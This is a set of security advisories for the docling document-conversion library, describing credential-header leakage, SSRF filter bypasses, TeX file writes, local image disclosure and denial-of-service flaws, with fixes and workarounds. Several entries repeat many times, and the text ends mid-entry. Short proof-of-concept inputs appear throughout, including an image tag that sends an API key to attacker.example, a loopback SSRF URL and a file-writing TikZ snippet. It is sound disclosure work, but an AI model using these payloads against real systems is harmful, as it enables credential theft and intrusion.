docling

Summary

HTMLBackendOptions.headers is documented for passing authentication headers (API keys, bearer tokens) when fetching remote images. docling sends these headers on every remote image request, to whichever host the document names. An untrusted document that references an attacker-controlled image URL receives the caller's credentials.

Details

docling/backend/utils/image_resource_loader.py merges options.headers into each remote request without checking the destination against the source document's origin. requests strips only Authorization on a cross-host redirect, so custom headers such as X-API-Key or Cookie are also forwarded across redirects.

Affected configurations

• Affected: callers that set headers together with enable_remote_fetch=True and fetch_images=True (CLI: --html-image-headers with --html-image-fetch remote or all), and convert untrusted HTML.
• Not affected: the default configuration.

Impact

Disclosure of the configured request headers, typically credentials, to a host chosen by the document author.

Proof of concept

<img src="https://attacker.example/pixel.png">

Converting this file with HTMLBackendOptions(enable_remote_fetch=True, fetch_images=True, headers={"X-API-Key": "..."}) sends the key to attacker.example.

Other items from the original report (DNS validation and unvalidated browser requests) are tracked in GHSA-pc36-qwjq-x68c.

Patches

Fixed in docling 2.132.0 by #4420. Configured headers are now sent only to the origin of the source document, checked on every redirect hop, and no longer to other hosts named by the document.

Workarounds

Upgrade to 2.132.0. For older versions:

Do not set headers when converting untrusted documents, or use credentials that are valid only for the intended host and have no other value.

Summary

When remote fetching is enabled (enable_remote_fetch=True, together with fetch_images=True or HTML render_page=True), docling's protection against requests to private and loopback addresses can be bypassed.

• The URL check resolves the host name once, to a single IPv4 address. The HTTP request then resolves it again. A name that returns a public A record together with an internal AAAA record, or one that changes its answer between the two lookups (DNS rebinding), reaches internal addresses.
• The check and the HTTP request parse the URL differently. With a backslash in the authority, such as http://127.0.0.1:8080\@1.1.1.1/x.png, the check validates 1.1.1.1 while the HTTP client connects to 127.0.0.1:8080.
• In HTML browser-rendering mode (render_page=True), requests made by the page are allowed for any http(s) URL without an IP check.

Details

• validate_url_safety in docling/backend/utils/image_resource_loader.py calls socket.gethostbyname(), which returns one IPv4 address. It checks that address and then passes the original URL string to requests, which parses it again with urllib3 and resolves the name independently through getaddrinfo. urllib.parse treats a backslash in the authority as part of the host section, while urllib3 ends the authority there, so the two can pick different hosts. This loader is shared by the HTML, Markdown, AsciiDoc, OpenDocument and JATS backends.
• docling/backend/html_backend.py routes browser requests in render mode. When enable_remote_fetch is set, it continues any http(s) request, including iframes and images, without resolving or checking the destination.

JavaScript is disabled during rendering, so the browser path can only show internal responses passively in the page screenshot. It cannot read them and send them elsewhere.

Affected configurations

• Affected: callers that enable enable_remote_fetch (CLI: --html-image-fetch remote or all) and process untrusted documents.
• Not affected: the default configuration (enable_remote_fetch=False).

The main-URL fetch for DocumentConverter.convert("https://...") is implemented in docling-core and is tracked there.

Impact

Requests from the converting host to internal services such as cloud metadata endpoints and loopback services. Response content is exposed only when it decodes as an image or is rendered into the page screenshot.

Patches

Fixed in docling 2.132.0 by #4420. The image loader now resolves the host once, requires every resolved address (IPv4 and IPv6, including IPv4-mapped, 6to4 and NAT64 forms) to be globally routable, and connects to one of the validated addresses, using the same parsed host for the check and the connection. Remote requests made during HTML browser rendering are downloaded by the same loader, and the browser itself stays offline. When a proxy is configured through environment variables, requests go through the proxy, which is then responsible for filtering destinations.

Workarounds

Upgrade to 2.132.0. For older versions:

Keep enable_remote_fetch=False for untrusted documents, or block egress to private, link-local and loopback ranges at the network level.

Summary

When the LaTeX backend is configured to render TikZ pictures with the Tectonic engine (LatexBackendOptions(tikz_engine="tectonic")), the TikZ body and the document preamble from the input file are compiled by Tectonic without any restriction on TeX's file primitives. A crafted .tex file can read files the process can read and write files at paths the process can write. If the caller also sets tikz_engine_allow_shell_escape=True, the document can run shell commands through \write18.

Details

docling/backend/latex/engines/tectonic.py writes the picture source into a temporary document and runs the tectonic binary on it. _resolve_local_dependency only decides which files are staged into the temporary directory. It does not limit what TeX opens at compile time, so:

• \input{/abs/path}, \verbatiminput{...} and \openin read arbitrary files, and their content can be typeset into the rendered picture that ends up in the conversion output. For an in-memory DocumentStream, staging is skipped entirely.
• \immediate\openout / \write create or overwrite files outside the temporary directory. Neither needs shell escape. Tectonic's --untrusted flag does not block them either.

Separately, the TectonicEngine constructor defaults to allow_shell_escape=True. The LaTeX backend always passes tikz_engine_allow_shell_escape explicitly (default False), so this default only affects code that instantiates TectonicEngine directly.

Affected configurations

• Affected: callers that set tikz_engine="tectonic", have a tectonic binary available (on PATH or in the docling cache), and convert untrusted LaTeX.
• Not affected: the default configuration (tikz_engine=None). docling does not install tectonic automatically, and the CLI exposes no option to enable it.

Impact

Disclosure of local files readable by the process, and creation or overwrite of files writable by the process. Writing to startup or configuration files can lead to code execution. With shell escape enabled, commands run directly.

Proof of concept

\documentclass{article}
\usepackage{tikz}
\begin{document}
\begin{tikzpicture}
  \immediate\openout15=/tmp/docling-tectonic-poc.txt
  \immediate\write15{written by the input document}
  \immediate\closeout15
  \node {x};
\end{tikzpicture}
\end{document}

Converting this file with LatexBackendOptions(tikz_engine="tectonic") creates /tmp/docling-tectonic-poc.txt.

Patches

Mitigated in docling 2.132.0 by #4419:

• TectonicEngine now defaults to allow_shell_escape=False, and without shell escape Tectonic runs with --untrusted and --only-cached.
• Before compiling, docling checks the generated document and every staged file. It skips rendering, and keeps the diagram as TikZ code, when the source uses the \openin, \openout, \XeTeXpicfile or \XeTeXpdffile primitives, or names an absolute, home, drive-letter or parent-directory path in \input, \include, \includegraphics, \InputIfFileExists or \graphicspath.

This check is best-effort. It reads the source text, and TeX can open files in ways a text check cannot see, for example through package commands or names built by macros. As documented in the pipeline options reference, untrusted LaTeX rendered with tikz_engine="tectonic" should still be processed in an isolated environment.

Workarounds

Upgrade to 2.132.0. For older versions:

• Do not enable tikz_engine="tectonic" for untrusted input, or run the conversion in an OS-level sandbox (container, no host mounts, read-only filesystem, no network).
• Never set tikz_engine_allow_shell_escape=True for untrusted input.

Summary

docling accepts serialized DoclingDocument JSON as an input format (InputFormat.JSON_DOCLING, enabled by default). A crafted JSON file can set a picture's image uri to a local file path. When the converted document is exported with embedded images (ImageRefMode.EMBEDDED, the CLI default for Markdown and HTML), the referenced file is read and embedded as base64 in the output.

Details

docling/backend/json/docling_json_backend.py validates the JSON into a DoclingDocument without checking image references. The file is then read by docling-core:

• DoclingDocument._with_embedded_pictures opens file:// and plain-path URIs with PIL.
• ImageRef.pil_image checks allow_image_file_uri for file:// URIs but not for plain Path values. docling's picture enrichment models load images through this property.

Only files that PIL can decode as an image are disclosed. Other files, such as text files or keys, fail to decode and are not embedded. The different error behaviour does reveal whether a path exists.

Impact

Disclosure of image files readable by the converting process (for example other users' uploads or page images in a shared service), and disclosure of whether a local path exists.

Proof of concept

from pathlib import Path
from docling_core.types.doc import DoclingDocument, ImageRef
from docling_core.types.doc.base import Size

doc = DoclingDocument(name="poc")
doc.add_picture(image=ImageRef(mimetype="image/png", dpi=72, size=Size(width=1, height=1),
                               uri=Path("/srv/uploads/other-user/scan.png")))
doc.save_as_json("poc.json")

docling poc.json --to md embeds the referenced PNG as base64 in poc.md.

Patches

Fixed in docling 2.131.0 by #4417. The Docling JSON backend now drops image references that point at local files (paths, file: URIs and any scheme other than data: and http(s)) and logs a warning. Callers that need to load local images from JSON they trust can opt in with DoclingJSONFormatOption(backend_options=DeclarativeBackendOptions(enable_local_fetch=True)); the CLI has no such option.

Code that loads untrusted JSON directly with docling-core (DoclingDocument.load_from_json) and exports it with embedded images is not covered by this fix; that part is tracked in docling-core.

Workarounds

Upgrade to 2.131.0. For older versions:

• Remove InputFormat.JSON_DOCLING from allowed_formats when converting untrusted input.
• Export with ImageRefMode.PLACEHOLDER or ImageRefMode.REFERENCED instead of EMBEDDED.

Summary

HTMLBackendOptions.headers is documented for passing authentication headers (API keys, bearer tokens) when fetching remote images. docling sends these headers on every remote image request, to whichever host the document names. An untrusted document that references an attacker-controlled image URL receives the caller's credentials.

Details

docling/backend/utils/image_resource_loader.py merges options.headers into each remote request without checking the destination against the source document's origin. requests strips only Authorization on a cross-host redirect, so custom headers such as X-API-Key or Cookie are also forwarded across redirects.

Affected configurations

• Affected: callers that set headers together with enable_remote_fetch=True and fetch_images=True (CLI: --html-image-headers with --html-image-fetch remote or all), and convert untrusted HTML.
• Not affected: the default configuration.

Impact

Disclosure of the configured request headers, typically credentials, to a host chosen by the document author.

Proof of concept

<img src="https://attacker.example/pixel.png">

Converting this file with HTMLBackendOptions(enable_remote_fetch=True, fetch_images=True, headers={"X-API-Key": "..."}) sends the key to attacker.example.

Other items from the original report (DNS validation and unvalidated browser requests) are tracked in GHSA-pc36-qwjq-x68c.

Patches

Fixed in docling 2.132.0 by #4420. Configured headers are now sent only to the origin of the source document, checked on every redirect hop, and no longer to other hosts named by the document.

Workarounds

Upgrade to 2.132.0. For older versions:

Do not set headers when converting untrusted documents, or use credentials that are valid only for the intended host and have no other value.

Summary

When remote fetching is enabled (enable_remote_fetch=True, together with fetch_images=True or HTML render_page=True), docling's protection against requests to private and loopback addresses can be bypassed.

• The URL check resolves the host name once, to a single IPv4 address. The HTTP request then resolves it again. A name that returns a public A record together with an internal AAAA record, or one that changes its answer between the two lookups (DNS rebinding), reaches internal addresses.
• The check and the HTTP request parse the URL differently. With a backslash in the authority, such as http://127.0.0.1:8080\@1.1.1.1/x.png, the check validates 1.1.1.1 while the HTTP client connects to 127.0.0.1:8080.
• In HTML browser-rendering mode (render_page=True), requests made by the page are allowed for any http(s) URL without an IP check.

Details

• validate_url_safety in docling/backend/utils/image_resource_loader.py calls socket.gethostbyname(), which returns one IPv4 address. It checks that address and then passes the original URL string to requests, which parses it again with urllib3 and resolves the name independently through getaddrinfo. urllib.parse treats a backslash in the authority as part of the host section, while urllib3 ends the authority there, so the two can pick different hosts. This loader is shared by the HTML, Markdown, AsciiDoc, OpenDocument and JATS backends.
• docling/backend/html_backend.py routes browser requests in render mode. When enable_remote_fetch is set, it continues any http(s) request, including iframes and images, without resolving or checking the destination.

JavaScript is disabled during rendering, so the browser path can only show internal responses passively in the page screenshot. It cannot read them and send them elsewhere.

Affected configurations

• Affected: callers that enable enable_remote_fetch (CLI: --html-image-fetch remote or all) and process untrusted documents.
• Not affected: the default configuration (enable_remote_fetch=False).

The main-URL fetch for DocumentConverter.convert("https://...") is implemented in docling-core and is tracked there.

Impact

Requests from the converting host to internal services such as cloud metadata endpoints and loopback services. Response content is exposed only when it decodes as an image or is rendered into the page screenshot.

Patches

Fixed in docling 2.132.0 by #4420. The image loader now resolves the host once, requires every resolved address (IPv4 and IPv6, including IPv4-mapped, 6to4 and NAT64 forms) to be globally routable, and connects to one of the validated addresses, using the same parsed host for the check and the connection. Remote requests made during HTML browser rendering are downloaded by the same loader, and the browser itself stays offline. When a proxy is configured through environment variables, requests go through the proxy, which is then responsible for filtering destinations.

Workarounds

Upgrade to 2.132.0. For older versions:

Keep enable_remote_fetch=False for untrusted documents, or block egress to private, link-local and loopback ranges at the network level.

Summary

When the LaTeX backend is configured to render TikZ pictures with the Tectonic engine (LatexBackendOptions(tikz_engine="tectonic")), the TikZ body and the document preamble from the input file are compiled by Tectonic without any restriction on TeX's file primitives. A crafted .tex file can read files the process can read and write files at paths the process can write. If the caller also sets tikz_engine_allow_shell_escape=True, the document can run shell commands through \write18.

Details

docling/backend/latex/engines/tectonic.py writes the picture source into a temporary document and runs the tectonic binary on it. _resolve_local_dependency only decides which files are staged into the temporary directory. It does not limit what TeX opens at compile time, so:

• \input{/abs/path}, \verbatiminput{...} and \openin read arbitrary files, and their content can be typeset into the rendered picture that ends up in the conversion output. For an in-memory DocumentStream, staging is skipped entirely.
• \immediate\openout / \write create or overwrite files outside the temporary directory. Neither needs shell escape. Tectonic's --untrusted flag does not block them either.

Separately, the TectonicEngine constructor defaults to allow_shell_escape=True. The LaTeX backend always passes tikz_engine_allow_shell_escape explicitly (default False), so this default only affects code that instantiates TectonicEngine directly.

Affected configurations

• Affected: callers that set tikz_engine="tectonic", have a tectonic binary available (on PATH or in the docling cache), and convert untrusted LaTeX.
• Not affected: the default configuration (tikz_engine=None). docling does not install tectonic automatically, and the CLI exposes no option to enable it.

Impact

Disclosure of local files readable by the process, and creation or overwrite of files writable by the process. Writing to startup or configuration files can lead to code execution. With shell escape enabled, commands run directly.

Proof of concept

\documentclass{article}
\usepackage{tikz}
\begin{document}
\begin{tikzpicture}
  \immediate\openout15=/tmp/docling-tectonic-poc.txt
  \immediate\write15{written by the input document}
  \immediate\closeout15
  \node {x};
\end{tikzpicture}
\end{document}

Converting this file with LatexBackendOptions(tikz_engine="tectonic") creates /tmp/docling-tectonic-poc.txt.

Patches

Mitigated in docling 2.132.0 by #4419:

• TectonicEngine now defaults to allow_shell_escape=False, and without shell escape Tectonic runs with --untrusted and --only-cached.
• Before compiling, docling checks the generated document and every staged file. It skips rendering, and keeps the diagram as TikZ code, when the source uses the \openin, \openout, \XeTeXpicfile or \XeTeXpdffile primitives, or names an absolute, home, drive-letter or parent-directory path in \input, \include, \includegraphics, \InputIfFileExists or \graphicspath.

This check is best-effort. It reads the source text, and TeX can open files in ways a text check cannot see, for example through package commands or names built by macros. As documented in the pipeline options reference, untrusted LaTeX rendered with tikz_engine="tectonic" should still be processed in an isolated environment.

Workarounds

Upgrade to 2.132.0. For older versions:

• Do not enable tikz_engine="tectonic" for untrusted input, or run the conversion in an OS-level sandbox (container, no host mounts, read-only filesystem, no network).
• Never set tikz_engine_allow_shell_escape=True for untrusted input.

Summary

The HTML, JATS, ODS (OpenDocument spreadsheet) and BoxNote backends accept table rowspan / colspan values without an upper bound. A few bytes of input, such as <td rowspan="100000000">, make docling run loops proportional to the declared span and allocate a table grid of the declared size. The result is CPU and memory exhaustion.

Details

• docling/backend/html_backend.py (_get_cell_spans) parses span attributes with no upper limit. The cell-filling loop then iterates row_span × col_span times.
• docling/backend/jats_backend.py and docling/backend/boxnote_backend.py fill their tables the same way.
• The OpenDocument spreadsheet path scans the declared span range.
• Export (for example export_to_markdown()) materialises the full grid through TableData.grid in docling-core.

document_timeout does not bound this. It is checked between pipeline stages, and these backends convert the whole document in a single call. max_file_size and max_num_pages do not help because the payload is tiny.

Measured on 2.130.0: a 54-byte HTML file with rowspan="1e8" takes about 4.4 s of CPU, and the time grows linearly with the value. A 52-byte file with colspan="3000000" takes about 23 s and reaches 4.5 GB peak memory during Markdown export.

Impact

Denial of service of the converting process from a very small input document. Confidentiality and integrity are not affected.

Proof of concept

<table><tr><td colspan="3000000">x</td></tr></table>

from docling.document_converter import DocumentConverter
DocumentConverter().convert("span.html").document.export_to_markdown()

Patches

Fixed in docling 2.131.0 by #4414. Table spans are clamped to the HTML limits (colspan 1000, rowspan 65534) and to the actual size of the table in the HTML, JATS, BoxNote and OpenDocument spreadsheet backends, so conversion time and memory grow with the real table only.

Workarounds

Upgrade to 2.131.0. For older versions:

Run conversions of untrusted documents in a separate process with memory and CPU-time limits, or restrict allowed_formats to formats that are not affected.

Summary

allow_external_plugins=False (the default, and the CLI default) is meant to restrict docling to its own model plugins. However, docling's plugin factories call pluggy's load_setuptools_entrypoints(), which imports every module registered under docling's plugin entry-point group. Only afterwards does docling filter out modules outside the docling. namespace. Import-time code in any installed third-party plugin therefore runs even though external plugins are disabled.

Details

In docling/models/factories/base_factory.py, load_from_plugins() loads all entry points first and applies the allow_external_plugins check only to the already-imported modules. The CLI creates these factories when it starts, so running docling imports every registered plugin module. A log message says the plugin "will not be loaded", although its module has already been imported.

Affected configurations

Environments in which a package registering a docling plugin entry point is installed, for example an unvetted or compromised dependency, and which rely on allow_external_plugins=False to keep that code from running.

Impact

Execution of a third-party plugin module's import-time code in the docling process, contrary to the documented behaviour of allow_external_plugins=False.

Patches

Fixed in docling 2.131.0 by #4413. Plugin entry points are now filtered by module name before they are loaded, so with allow_external_plugins=False third-party plugin modules are no longer imported.

Workarounds

Upgrade to 2.131.0. For older versions:

Only install trusted packages in environments that run docling. Check which packages register docling plugin entry points with importlib.metadata.entry_points().

Summary

When docling detects the input format of a gzip-compressed tar archive (METS-GBS), and later when the METS-GBS backend opens it, it calls tarfile.TarFile.getmembers(). That builds the full member list in memory before the max_member_count limit is checked. A small archive with a very large number of empty members therefore makes docling allocate memory in proportion to the member count, and the limit has no effect.

Details

docling/datamodel/document.py (format detection) and docling/backend/mets_gbs_backend.py both iterate tar.getmembers() and count members inside the loop. getmembers() reads every header up front.

Measured on Python 3.12: an archive of 1,000,000 empty members compresses to about 6.2 MB and makes getmembers() hold about 408 MB (about 66 times the input size). Format detection runs for any application/gzip input before allowed_formats is applied, so the allocation happens even when METS-GBS is not an allowed format.

This check was introduced by the fix for CVE-2026-44018 (GHSA-r3xg-rg9j-67fv) in 2.91.0. The eager enumeration it relies on has been there since METS-GBS detection was added in 2.45.0.

Impact

Memory exhaustion of the converting process, proportional to the size of the input archive. Confidentiality and integrity are not affected.

Patches

Fixed in docling 2.131.0 by #4412. Format detection and the METS-GBS backend now read archive members one at a time and stop as soon as max_member_count is exceeded, including when looking up page files.

Workarounds

Upgrade to 2.131.0. For older versions:

Reject gzip or tar inputs before they reach docling when METS-GBS support is not needed, and run conversions of untrusted input with memory limits.

Docling simplifies document processing by parsing diverse formats and providing integrations with the generative AI ecosystem. From 2.83.0 until 2.131.0, the KServeV2OcrModel class defined in docling/models/stages/ocr/kserve_v2_ocr_model.py sends page images to its configured endpoint without checking the pipeline_options.enable_remote_services setting, even when the caller sets that policy control to false. The StandardPdfPipeline._make_ocr_model method also fails to pass the flag into the OCR factory, allowing remote OCR processing in configurations that rely on remote services being disabled. The destination is configured by the caller rather than selected by an attacker. This issue is fixed in 2.131.0.

Summary

docling accepts serialized DoclingDocument JSON as an input format (InputFormat.JSON_DOCLING, enabled by default). A crafted JSON file can set a picture's image uri to a local file path. When the converted document is exported with embedded images (ImageRefMode.EMBEDDED, the CLI default for Markdown and HTML), the referenced file is read and embedded as base64 in the output.

Details

docling/backend/json/docling_json_backend.py validates the JSON into a DoclingDocument without checking image references. The file is then read by docling-core:

• DoclingDocument._with_embedded_pictures opens file:// and plain-path URIs with PIL.
• ImageRef.pil_image checks allow_image_file_uri for file:// URIs but not for plain Path values. docling's picture enrichment models load images through this property.

Only files that PIL can decode as an image are disclosed. Other files, such as text files or keys, fail to decode and are not embedded. The different error behaviour does reveal whether a path exists.

Impact

Disclosure of image files readable by the converting process (for example other users' uploads or page images in a shared service), and disclosure of whether a local path exists.

Proof of concept

from pathlib import Path
from docling_core.types.doc import DoclingDocument, ImageRef
from docling_core.types.doc.base import Size

doc = DoclingDocument(name="poc")
doc.add_picture(image=ImageRef(mimetype="image/png", dpi=72, size=Size(width=1, height=1),
                               uri=Path("/srv/uploads/other-user/scan.png")))
doc.save_as_json("poc.json")

docling poc.json --to md embeds the referenced PNG as base64 in poc.md.

Patches

Fixed in docling 2.131.0 by #4417. The Docling JSON backend now drops image references that point at local files (paths, file: URIs and any scheme other than data: and http(s)) and logs a warning. Callers that need to load local images from JSON they trust can opt in with DoclingJSONFormatOption(backend_options=DeclarativeBackendOptions(enable_local_fetch=True)); the CLI has no such option.

Code that loads untrusted JSON directly with docling-core (DoclingDocument.load_from_json) and exports it with embedded images is not covered by this fix; that part is tracked in docling-core.

Workarounds

Upgrade to 2.131.0. For older versions:

• Remove InputFormat.JSON_DOCLING from allowed_formats when converting untrusted input.
• Export with ImageRefMode.PLACEHOLDER or ImageRefMode.REFERENCED instead of EMBEDDED.

Summary

HTMLBackendOptions.headers is documented for passing authentication headers (API keys, bearer tokens) when fetching remote images. docling sends these headers on every remote image request, to whichever host the document names. An untrusted document that references an attacker-controlled image URL receives the caller's credentials.

Details

docling/backend/utils/image_resource_loader.py merges options.headers into each remote request without checking the destination against the source document's origin. requests strips only Authorization on a cross-host redirect, so custom headers such as X-API-Key or Cookie are also forwarded across redirects.

Affected configurations

• Affected: callers that set headers together with enable_remote_fetch=True and fetch_images=True (CLI: --html-image-headers with --html-image-fetch remote or all), and convert untrusted HTML.
• Not affected: the default configuration.

Impact

Disclosure of the configured request headers, typically credentials, to a host chosen by the document author.

Proof of concept

<img src="https://attacker.example/pixel.png">

Converting this file with HTMLBackendOptions(enable_remote_fetch=True, fetch_images=True, headers={"X-API-Key": "..."}) sends the key to attacker.example.

Other items from the original report (DNS validation and unvalidated browser requests) are tracked in GHSA-pc36-qwjq-x68c.

Patches

Fixed in docling 2.132.0 by #4420. Configured headers are now sent only to the origin of the source document, checked on every redirect hop, and no longer to other hosts named by the document.

Workarounds

Upgrade to 2.132.0. For older versions:

Do not set headers when converting untrusted documents, or use credentials that are valid only for the intended host and have no other value.

Summary

When remote fetching is enabled (enable_remote_fetch=True, together with fetch_images=True or HTML render_page=True), docling's protection against requests to private and loopback addresses can be bypassed.

• The URL check resolves the host name once, to a single IPv4 address. The HTTP request then resolves it again. A name that returns a public A record together with an internal AAAA record, or one that changes its answer between the two lookups (DNS rebinding), reaches internal addresses.
• The check and the HTTP request parse the URL differently. With a backslash in the authority, such as http://127.0.0.1:8080\@1.1.1.1/x.png, the check validates 1.1.1.1 while the HTTP client connects to 127.0.0.1:8080.
• In HTML browser-rendering mode (render_page=True), requests made by the page are allowed for any http(s) URL without an IP check.

Details

• validate_url_safety in docling/backend/utils/image_resource_loader.py calls socket.gethostbyname(), which returns one IPv4 address. It checks that address and then passes the original URL string to requests, which parses it again with urllib3 and resolves the name independently through getaddrinfo. urllib.parse treats a backslash in the authority as part of the host section, while urllib3 ends the authority there, so the two can pick different hosts. This loader is shared by the HTML, Markdown, AsciiDoc, OpenDocument and JATS backends.
• docling/backend/html_backend.py routes browser requests in render mode. When enable_remote_fetch is set, it continues any http(s) request, including iframes and images, without resolving or checking the destination.

JavaScript is disabled during rendering, so the browser path can only show internal responses passively in the page screenshot. It cannot read them and send them elsewhere.

Affected configurations

• Affected: callers that enable enable_remote_fetch (CLI: --html-image-fetch remote or all) and process untrusted documents.
• Not affected: the default configuration (enable_remote_fetch=False).

The main-URL fetch for DocumentConverter.convert("https://...") is implemented in docling-core and is tracked there.

Impact

Requests from the converting host to internal services such as cloud metadata endpoints and loopback services. Response content is exposed only when it decodes as an image or is rendered into the page screenshot.

Patches

Fixed in docling 2.132.0 by #4420. The image loader now resolves the host once, requires every resolved address (IPv4 and IPv6, including IPv4-mapped, 6to4 and NAT64 forms) to be globally routable, and connects to one of the validated addresses, using the same parsed host for the check and the connection. Remote requests made during HTML browser rendering are downloaded by the same loader, and the browser itself stays offline. When a proxy is configured through environment variables, requests go through the proxy, which is then responsible for filtering destinations.

Workarounds

Upgrade to 2.132.0. For older versions:

Keep enable_remote_fetch=False for untrusted documents, or block egress to private, link-local and loopback ranges at the network level.

Summary

When the LaTeX backend is configured to render TikZ pictures with the Tectonic engine (LatexBackendOptions(tikz_engine="tectonic")), the TikZ body and the document preamble from the input file are compiled by Tectonic without any restriction on TeX's file primitives. A crafted .tex file can read files the process can read and write files at paths the process can write. If the caller also sets tikz_engine_allow_shell_escape=True, the document can run shell commands through \write18.

Details

docling/backend/latex/engines/tectonic.py writes the picture source into a temporary document and runs the tectonic binary on it. _resolve_local_dependency only decides which files are staged into the temporary directory. It does not limit what TeX opens at compile time, so:

• \input{/abs/path}, \verbatiminput{...} and \openin read arbitrary files, and their content can be typeset into the rendered picture that ends up in the conversion output. For an in-memory DocumentStream, staging is skipped entirely.
• \immediate\openout / \write create or overwrite files outside the temporary directory. Neither needs shell escape. Tectonic's --untrusted flag does not block them either.

Separately, the TectonicEngine constructor defaults to allow_shell_escape=True. The LaTeX backend always passes tikz_engine_allow_shell_escape explicitly (default False), so this default only affects code that instantiates TectonicEngine directly.

Affected configurations

• Affected: callers that set tikz_engine="tectonic", have a tectonic binary available (on PATH or in the docling cache), and convert untrusted LaTeX.
• Not affected: the default configuration (tikz_engine=None). docling does not install tectonic automatically, and the CLI exposes no option to enable it.

Impact

Disclosure of local files readable by the process, and creation or overwrite of files writable by the process. Writing to startup or configuration files can lead to code execution. With shell escape enabled, commands run directly.

Proof of concept

\documentclass{article}
\usepackage{tikz}
\begin{document}
\begin{tikzpicture}
  \immediate\openout15=/tmp/docling-tectonic-poc.txt
  \immediate\write15{written by the input document}
  \immediate\closeout15
  \node {x};
\end{tikzpicture}
\end{document}

Converting this file with LatexBackendOptions(tikz_engine="tectonic") creates /tmp/docling-tectonic-poc.txt.

Patches

Mitigated in docling 2.132.0 by #4419:

• TectonicEngine now defaults to allow_shell_escape=False, and without shell escape Tectonic runs with --untrusted and --only-cached.
• Before compiling, docling checks the generated document and every staged file. It skips rendering, and keeps the diagram as TikZ code, when the source uses the \openin, \openout, \XeTeXpicfile or \XeTeXpdffile primitives, or names an absolute, home, drive-letter or parent-directory path in \input, \include, \includegraphics, \InputIfFileExists or \graphicspath.

This check is best-effort. It reads the source text, and TeX can open files in ways a text check cannot see, for example through package commands or names built by macros. As documented in the pipeline options reference, untrusted LaTeX rendered with tikz_engine="tectonic" should still be processed in an isolated environment.

Workarounds

Upgrade to 2.132.0. For older versions:

• Do not enable tikz_engine="tectonic" for untrusted input, or run the conversion in an OS-level sandbox (container, no host mounts, read-only filesystem, no network).
• Never set tikz_engine_allow_shell_escape=True for untrusted input.

Summary

The HTML, JATS, ODS (OpenDocument spreadsheet) and BoxNote backends accept table rowspan / colspan values without an upper bound. A few bytes of input, such as <td rowspan="100000000">, make docling run loops proportional to the declared span and allocate a table grid of the declared size. The result is CPU and memory exhaustion.

Details

• docling/backend/html_backend.py (_get_cell_spans) parses span attributes with no upper limit. The cell-filling loop then iterates row_span × col_span times.
• docling/backend/jats_backend.py and docling/backend/boxnote_backend.py fill their tables the same way.
• The OpenDocument spreadsheet path scans the declared span range.
• Export (for example export_to_markdown()) materialises the full grid through TableData.grid in docling-core.

document_timeout does not bound this. It is checked between pipeline stages, and these backends convert the whole document in a single call. max_file_size and max_num_pages do not help because the payload is tiny.

Measured on 2.130.0: a 54-byte HTML file with rowspan="1e8" takes about 4.4 s of CPU, and the time grows linearly with the value. A 52-byte file with colspan="3000000" takes about 23 s and reaches 4.5 GB peak memory during Markdown export.

Impact

Denial of service of the converting process from a very small input document. Confidentiality and integrity are not affected.

Proof of concept

<table><tr><td colspan="3000000">x</td></tr></table>

from docling.document_converter import DocumentConverter
DocumentConverter().convert("span.html").document.export_to_markdown()

Patches

Fixed in docling 2.131.0 by #4414. Table spans are clamped to the HTML limits (colspan 1000, rowspan 65534) and to the actual size of the table in the HTML, JATS, BoxNote and OpenDocument spreadsheet backends, so conversion time and memory grow with the real table only.

Workarounds

Upgrade to 2.131.0. For older versions:

Run conversions of untrusted documents in a separate process with memory and CPU-time limits, or restrict allowed_formats to formats that are not affected.

Summary

allow_external_plugins=False (the default, and the CLI default) is meant to restrict docling to its own model plugins. However, docling's plugin factories call pluggy's load_setuptools_entrypoints(), which imports every module registered under docling's plugin entry-point group. Only afterwards does docling filter out modules outside the docling. namespace. Import-time code in any installed third-party plugin therefore runs even though external plugins are disabled.

Details

In docling/models/factories/base_factory.py, load_from_plugins() loads all entry points first and applies the allow_external_plugins check only to the already-imported modules. The CLI creates these factories when it starts, so running docling imports every registered plugin module. A log message says the plugin "will not be loaded", although its module has already been imported.

Affected configurations

Environments in which a package registering a docling plugin entry point is installed, for example an unvetted or compromised dependency, and which rely on allow_external_plugins=False to keep that code from running.

Impact

Execution of a third-party plugin module's import-time code in the docling process, contrary to the documented behaviour of allow_external_plugins=False.

Patches

Fixed in docling 2.131.0 by #4413. Plugin entry points are now filtered by module name before they are loaded, so with allow_external_plugins=False third-party plugin modules are no longer imported.

Workarounds

Upgrade to 2.131.0. For older versions:

Only install trusted packages in environments that run docling. Check which packages register docling plugin entry points with importlib.metadata.entry_points().

Summary

When docling detects the input format of a gzip-compressed tar archive (METS-GBS), and later when the METS-GBS backend opens it, it calls tarfile.TarFile.getmembers(). That builds the full member list in memory before the max_member_count limit is checked. A small archive with a very large number of empty members therefore makes docling allocate memory in proportion to the member count, and the limit has no effect.

Details

docling/datamodel/document.py (format detection) and docling/backend/mets_gbs_backend.py both iterate tar.getmembers() and count members inside the loop. getmembers() reads every header up front.

Measured on Python 3.12: an archive of 1,000,000 empty members compresses to about 6.2 MB and makes getmembers() hold about 408 MB (about 66 times the input size). Format detection runs for any application/gzip input before allowed_formats is applied, so the allocation happens even when METS-GBS is not an allowed format.

This check was introduced by the fix for CVE-2026-44018 (GHSA-r3xg-rg9j-67fv) in 2.91.0. The eager enumeration it relies on has been there since METS-GBS detection was added in 2.45.0.

Impact

Memory exhaustion of the converting process, proportional to the size of the input archive. Confidentiality and integrity are not affected.

Patches

Fixed in docling 2.131.0 by #4412. Format detection and the METS-GBS backend now read archive members one at a time and stop as soon as max_member_count is exceeded, including when looking up page files.

Workarounds

Upgrade to 2.131.0. For older versions:

Reject gzip or tar inputs before they reach docling when METS-GBS support is not needed, and run conversions of untrusted input with memory limits.

Docling simplifies document processing by parsing diverse formats and providing integrations with the generative AI ecosystem. From 2.83.0 until 2.131.0, the KServeV2OcrModel class defined in docling/models/stages/ocr/kserve_v2_ocr_model.py sends page images to its configured endpoint without checking the pipeline_options.enable_remote_services setting, even when the caller sets that policy control to false. The StandardPdfPipeline._make_ocr_model method also fails to pass the flag into the OCR factory, allowing remote OCR processing in configurations that rely on remote services being disabled. The destination is configured by the caller rather than selected by an attacker. This issue is fixed in 2.131.0.

Summary

docling accepts serialized DoclingDocument JSON as an input format (InputFormat.JSON_DOCLING, enabled by default). A crafted JSON file can set a picture's image uri to a local file path. When the converted document is exported with embedded images (ImageRefMode.EMBEDDED, the CLI default for Markdown and HTML), the referenced file is read and embedded as base64 in the output.

Details

docling/backend/json/docling_json_backend.py validates the JSON into a DoclingDocument without checking image references. The file is then read by docling-core:

• DoclingDocument._with_embedded_pictures opens file:// and plain-path URIs with PIL.
